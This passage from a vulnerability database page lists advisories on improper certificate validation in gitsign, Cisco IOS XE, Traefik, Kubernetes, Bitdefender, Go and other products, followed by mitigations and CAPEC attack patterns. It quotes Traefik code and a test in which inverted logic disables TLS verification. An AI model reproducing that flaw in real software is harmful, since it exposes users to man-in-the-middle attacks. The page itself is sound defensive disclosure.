[]byte) error {\n    seen := map[string]bool{}\n    for _, line := range bytes.Split(data, []byte(\"\\n\")) {\n        if idx := bytes.IndexByte(line, \u0027 \u0027); idx \u003e 0 {\n            key := string(line[:idx])\n            if seen[key] {\n                return fmt.Errorf(\"malformed commit: duplicate field %q\", key)\n            }\n            seen[key] = true\n        }\n        if len(line) == 0 {\n            break // end of headers\n        }\n    }\n    return nil\n}\n```\n\nThis is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-7rmh-48mx-2vwc",
  "modified": "2026-05-15T23:49:58Z",
  "published": "2026-05-08T22:38:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/gitsign/security/advisories/GHSA-7rmh-48mx-2vwc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44309"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sigstore/gitsign"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits"
}

GHSA-7V4F-RWHC-7RW2

Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46
VLAI
Details

A vulnerability in the Autonomic Networking feature of Cisco IOS XE Software could allow an unauthenticated, remote, autonomic node to access the Autonomic Networking infrastructure of an affected system, after the certificate for the autonomic node has been revoked. This vulnerability affected devices that are running Release 16.x of Cisco IOS XE Software and are configured to use Autonomic Networking. This vulnerability does not affect devices that are running an earlier release of Cisco IOS XE Software or devices that are not configured to use Autonomic Networking. More Information: CSCvd22328. Known Affected Releases: 15.5(1)S3.1 Denali-16.2.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-6664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-07T06:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the Autonomic Networking feature of Cisco IOS XE Software could allow an unauthenticated, remote, autonomic node to access the Autonomic Networking infrastructure of an affected system, after the certificate for the autonomic node has been revoked. This vulnerability affected devices that are running Release 16.x of Cisco IOS XE Software and are configured to use Autonomic Networking. This vulnerability does not affect devices that are running an earlier release of Cisco IOS XE Software or devices that are not configured to use Autonomic Networking. More Information: CSCvd22328. Known Affected Releases: 15.5(1)S3.1 Denali-16.2.1.",
  "id": "GHSA-7v4f-rwhc-7rw2",
  "modified": "2022-05-13T01:46:42Z",
  "published": "2022-05-13T01:46:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6664"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170726-anicrl"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99986"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038997"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7V8H-GRFG-7V23

Vulnerability from github – Published: 2022-05-17 02:40 – Updated: 2025-04-20 03:39
VLAI
Details

The cayuga-lake-national-bank/id1151601539 app 4.0.1 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-9560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-16T12:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The cayuga-lake-national-bank/id1151601539 app 4.0.1 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.",
  "id": "GHSA-7v8h-grfg-7v23",
  "modified": "2025-04-20T03:39:12Z",
  "published": "2022-05-17T02:40:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9560"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40chronic_9612/advisory-44-credit-union-apps-for-ios-may-allow-login-credential-exposure-4d2f380b85c5"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@chronic_9612/advisory-44-credit-union-apps-for-ios-may-allow-login-credential-exposure-4d2f380b85c5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7VG8-9CQ4-JMGG

Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44
VLAI
Details

Huawei AR120-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, AR1200 V200R005C20, V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, AR1200-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, AR150 V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, AR160 V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, AR200 V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R008C20, AR200-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, AR2200 V200R005C20, V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, AR2200-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, AR3200 V200R005C32, V200R006C10, V200R006C11, V200R007C00, V200R007C01, V200R007C02, V200R008C00, V200R008C10, V200R008C20, V200R008C30, AR3600 V200R006C10, V200R007C00, V200R007C01, V200R008C20, AR510 V200R005C32, V200R006C10, V200R007C00, V200R008C20, CloudEngine 12800 V100R003C00, V100R003C10, V100R005C00, V100R005C10, V100R006C00, V200R001C00, CloudEngine 5800 V100R003C00, V100R003C10, V100R005C00, V100R005C10, V100R006C00, V200R001C00, CloudEngine 6800 V100R003C00, V100R003C10, V100R005C00, V100R005C10, V100R006C00, V200R001C00, CloudEngine 7800 V100R003C00, V100R003C10, V100R005C00, V100R005C10, V100R006C00, V200R001C00, DP300 V500R002C00, SMC2.0 V100R003C10, V100R005C00, V500R002C00, SRG1300 V200R005C32, V200R006C10, V200R007C00, V200R007C02, V200R008C20, SRG2300 V200R005C32, V200R006C10, V200R007C00, V200R007C02, V200R008C20, SRG3300 V200R005C32, V200R006C10, V200R007C00, V200R008C20, TE30 V100R001C10, TE60 V100R003C00, V500R002C00, VP9660 V200R001C02, V200R001C30, V500R002C00, ViewPoint 8660 V100R008C02, V100R008C03, eSpace IAD V300R002C01, eSpace U1981 V200R003C20, V200R003C30, eSpace USM V100R001C01, V300R001C00 have a weak cryptography vulnerability. Due to not properly some values in the certificates, an unauthenticated remote attacker could forges a specific RSA certificate and exploits the vulnerability to pass identity authentication and logs into the target device to obtain permissions configured for the specific user name.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-17301"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-15T16:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Huawei AR120-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, AR1200 V200R005C20, V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, AR1200-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, AR150 V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, AR160 V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, AR200 V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R008C20, AR200-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, AR2200 V200R005C20, V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, AR2200-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, AR3200 V200R005C32, V200R006C10, V200R006C11, V200R007C00, V200R007C01, V200R007C02, V200R008C00, V200R008C10, V200R008C20, V200R008C30, AR3600 V200R006C10, V200R007C00, V200R007C01, V200R008C20, AR510 V200R005C32, V200R006C10, V200R007C00, V200R008C20, CloudEngine 12800 V100R003C00, V100R003C10, V100R005C00, V100R005C10, V100R006C00, V200R001C00, CloudEngine 5800 V100R003C00, V100R003C10, V100R005C00, V100R005C10, V100R006C00, V200R001C00, CloudEngine 6800 V100R003C00, V100R003C10, V100R005C00, V100R005C10, V100R006C00, V200R001C00, CloudEngine 7800 V100R003C00, V100R003C10, V100R005C00, V100R005C10, V100R006C00, V200R001C00, DP300 V500R002C00, SMC2.0 V100R003C10, V100R005C00, V500R002C00, SRG1300 V200R005C32, V200R006C10, V200R007C00, V200R007C02, V200R008C20, SRG2300 V200R005C32, V200R006C10, V200R007C00, V200R007C02, V200R008C20, SRG3300 V200R005C32, V200R006C10, V200R007C00, V200R008C20, TE30 V100R001C10, TE60 V100R003C00, V500R002C00, VP9660 V200R001C02, V200R001C30, V500R002C00, ViewPoint 8660 V100R008C02, V100R008C03, eSpace IAD V300R002C01, eSpace U1981 V200R003C20, V200R003C30, eSpace USM V100R001C01, V300R001C00 have a weak cryptography vulnerability. Due to not properly some values in the certificates, an unauthenticated remote attacker could forges a specific RSA certificate and exploits the vulnerability to pass identity authentication and logs into the target device to obtain permissions configured for the specific user name.",
  "id": "GHSA-7vg8-9cq4-jmgg",
  "modified": "2022-05-13T01:44:22Z",
  "published": "2022-05-13T01:44:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17301"
    },
    {
      "type": "WEB",
      "url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20171222-01-cryptography-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7VWW-MVCR-X6VJ

Vulnerability from github – Published: 2025-12-08 16:43 – Updated: 2025-12-09 16:32
VLAI
Summary
Traefik Inverted TLS Verification Logic in ingress-nginx Provider
Details

Impact

There is a potential vulnerability in Traefik NGINX provider managing the nginx.ingress.kubernetes.io/proxy-ssl-verify annotation.

The provider inverts the semantics of the nginx.ingress.kubernetes.io/proxy-ssl-verify annotation. Setting the annotation to "on" (intending to enable backend TLS certificate verification) actually disables verification, allowing man-in-the-middle attacks against HTTPS backends when operators believe they are protected.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.6.3

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary A logic error in Traefik's experimental ingress-nginx provider inverts the semantics of the `nginx.ingress.kubernetes.io/proxy-ssl-verify` annotation. Setting the annotation to `"on"` (intending to enable backend TLS certificate verification) actually disables verification, allowing man-in-the-middle attacks against HTTPS backends when operators believe they are protected. ### Details In `pkg/provider/kubernetes/ingress-nginx/kubernetes.go` at line 512, the `InsecureSkipVerify` field is set using inverted logic:
nst := &namedServersTransport{
    Name: provider.Normalize(namespace + "-" + name),
    ServersTransport: &dynamic.ServersTransport{
        ServerName:         ptr.Deref(cfg.ProxySSLName, ptr.Deref(cfg.ProxySSLServerName, "")),
        InsecureSkipVerify: strings.ToLower(ptr.Deref(cfg.ProxySSLVerify, "off")) == "on",
    },
}
The expression `== "on"` evaluates to `true` when the annotation is `"on"`, setting `InsecureSkipVerify: true`. In Go's `crypto/tls`, `InsecureSkipVerify: true` means "do not verify the server's certificate" — the opposite of what `proxy-ssl-verify: "on"` should do according to NGINX semantics. **Current behavior:** | Annotation Value | InsecureSkipVerify | Actual Result | |------------------|-------------------|---------------| | `"on"` | `true` | Verification **disabled** ❌ | | `"off"` (default) | `false` | Verification **enabled** | **Expected behavior (per NGINX semantics):** | Annotation Value | InsecureSkipVerify | Expected Result | |------------------|-------------------|-----------------| | `"on"` | `false` | Verification **enabled** | | `"off"` (default) | `true` | Verification **disabled** | The test in `pkg/provider/kubernetes/ingress-nginx/kubernetes_test.go` lines 397-403 confirms this inverted behavior is codified as "expected":
ServersTransports: map[string]*dynamic.ServersTransport{
    "default-ingress-with-proxy-ssl": {
        ServerName:         "whoami.localhost",
        InsecureSkipVerify: true,  // Wrong: should be false when annotation is "on"
        RootCAs:            []types.FileOrContent{"-----BEGIN CERTIFICATE-----"},
    },
},
**Affected versions:** v3.5.0 through current master (introduced in commit `9bd5c617820f2a8d23b50b68d114bb7bc464eccd`) Pavel Kohout Aisle Research

-

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.5.0"
            },
            {
              "fixed": "3.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66491"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-08T16:43:06Z",
    "nvd_published_at": "2025-12-09T01:16:55Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nThere is a potential vulnerability in Traefik NGINX provider managing the `nginx.ingress.kubernetes.io/proxy-ssl-verify` annotation.\n\nThe provider inverts the semantics of the `nginx.ingress.kubernetes.io/proxy-ssl-verify` annotation. Setting the annotation to `\"on\"` (intending to enable backend TLS certificate verification) actually disables verification, allowing man-in-the-middle attacks against HTTPS backends when operators believe they are protected.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nA logic error in Traefik\u0027s experimental ingress-nginx provider inverts the semantics of the `nginx.ingress.kubernetes.io/proxy-ssl-verify` annotation. Setting the annotation to `\"on\"` (intending to enable backend TLS certificate verification) actually disables verification, allowing man-in-the-middle attacks against HTTPS backends when operators believe they are protected.\n\n### Details\n\nIn `pkg/provider/kubernetes/ingress-nginx/kubernetes.go` at line 512, the `InsecureSkipVerify` field is set using inverted logic:\n\n```go\nnst := \u0026namedServersTransport{\n    Name: provider.Normalize(namespace + \"-\" + name),\n    ServersTransport: \u0026dynamic.ServersTransport{\n        ServerName:         ptr.Deref(cfg.ProxySSLName, ptr.Deref(cfg.ProxySSLServerName, \"\")),\n        InsecureSkipVerify: strings.ToLower(ptr.Deref(cfg.ProxySSLVerify, \"off\")) == \"on\",\n    },\n}\n```\n\nThe expression `== \"on\"` evaluates to `true` when the annotation is `\"on\"`, setting `InsecureSkipVerify: true`. In Go\u0027s `crypto/tls`, `InsecureSkipVerify: true` means \"do not verify the server\u0027s certificate\" \u2014 the opposite of what `proxy-ssl-verify: \"on\"` should do according to NGINX semantics.\n\n**Current behavior:**\n| Annotation Value | InsecureSkipVerify | Actual Result |\n|------------------|-------------------|---------------|\n| `\"on\"` | `true` | Verification **disabled** \u274c |\n| `\"off\"` (default) | `false` | Verification **enabled** |\n\n**Expected behavior (per NGINX semantics):**\n| Annotation Value | InsecureSkipVerify | Expected Result |\n|------------------|-------------------|-----------------|\n| `\"on\"` | `false` | Verification **enabled** |\n| `\"off\"` (default) | `true` | Verification **disabled** |\n\nThe test in `pkg/provider/kubernetes/ingress-nginx/kubernetes_test.go` lines 397-403 confirms this inverted behavior is codified as \"expected\":\n\n```go\nServersTransports: map[string]*dynamic.ServersTransport{\n    \"default-ingress-with-proxy-ssl\": {\n        ServerName:         \"whoami.localhost\",\n        InsecureSkipVerify: true,  // Wrong: should be false when annotation is \"on\"\n        RootCAs:            []types.FileOrContent{\"-----BEGIN CERTIFICATE-----\"},\n    },\n},\n```\n\n**Affected versions:** v3.5.0 through current master (introduced in commit `9bd5c617820f2a8d23b50b68d114bb7bc464eccd`)\n\nPavel Kohout\nAisle Research\n\u003c/details\u003e\n\n-",
  "id": "GHSA-7vww-mvcr-x6vj",
  "modified": "2025-12-09T16:32:29Z",
  "published": "2025-12-08T16:43:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-7vww-mvcr-x6vj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66491"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/14a1aedf5704673d875d210d7bacf103a43c77e4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik Inverted TLS Verification Logic in ingress-nginx Provider"
}

GHSA-7W66-J2R2-VM3P

Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38
VLAI
Details

It was found that Kubernetes as used by Openshift Enterprise 3 did not correctly validate X.509 client intermediate certificate host name fields. An attacker could use this flaw to bypass authentication requirements by using a specially crafted X.509 certificate.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-7075"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-10T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "It was found that Kubernetes as used by Openshift Enterprise 3 did not correctly validate X.509 client intermediate certificate host name fields. An attacker could use this flaw to bypass authentication requirements by using a specially crafted X.509 certificate.",
  "id": "GHSA-7w66-j2r2-vm3p",
  "modified": "2022-05-13T01:38:41Z",
  "published": "2022-05-13T01:38:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7075"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/issues/34517"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2016:2064"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2016-7075"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1384112"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-7075"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7WG4-CJHF-QGVP

Vulnerability from github – Published: 2024-10-18 09:31 – Updated: 2024-10-22 18:32
VLAI
Details

A vulnerability has been discovered in Bitdefender Total Security HTTPS scanning functionality that results in the improper trust of self-signed certificates. The product is found to trust certificates signed with the RIPEMD-160 hashing algorithm without proper validation, allowing an attacker to establish MITM SSL connections to arbitrary sites.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-6056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-18T08:15:03Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been discovered in Bitdefender Total Security HTTPS scanning functionality that results in the improper trust of self-signed certificates. The product is found to trust certificates signed with the RIPEMD-160 hashing algorithm without proper validation, allowing an attacker to establish MITM SSL connections to arbitrary sites.",
  "id": "GHSA-7wg4-cjhf-qgvp",
  "modified": "2024-10-22T18:32:05Z",
  "published": "2024-10-18T09:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6056"
    },
    {
      "type": "WEB",
      "url": "https://www.bitdefender.com/support/security-advisories/insecure-trust-of-self-signed-certificates-in-bitdefender-total-security-https-scanning-va-11164"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7WWX-XJ66-R44X

Vulnerability from github – Published: 2025-10-30 00:31 – Updated: 2025-11-05 00:31
VLAI
Details

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-58188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-29T23:16:19Z",
    "severity": "HIGH"
  },
  "details": "Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains.",
  "id": "GHSA-7wwx-xj66-r44x",
  "modified": "2025-11-05T00:31:31Z",
  "published": "2025-10-30T00:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58188"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/709853"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/75675"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-4013"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/10/08/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Mitigation
Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.